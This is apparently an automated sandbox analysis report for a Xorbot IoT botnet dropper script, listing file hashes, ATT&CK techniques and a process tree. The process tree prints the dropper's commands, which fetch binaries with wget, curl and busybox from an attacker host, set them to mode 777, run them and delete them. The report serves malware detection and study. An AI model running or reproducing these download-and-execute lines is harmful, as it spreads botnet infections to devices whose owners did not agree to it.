xorbot | 67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8

Analysis

max time kernel
28s
max time network
98s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/01/2025, 20:07

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General

Target

bins.sh
Size

10KB
MD5

942d94d9683731e7c0e80fb1184455c6
SHA1

bcb4bc2b172dd258e1864c02f6e19b3a35b0d610
SHA256

67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8
SHA512

58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0
SSDEEP

96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-2.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	740	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
721	curl
737	busybox
744	wget
745	curl
791	busybox
715	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	curl
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	busybox
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	wget
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - System Network Configuration Discovery
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - System Network Configuration Discovery
  PID:791

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit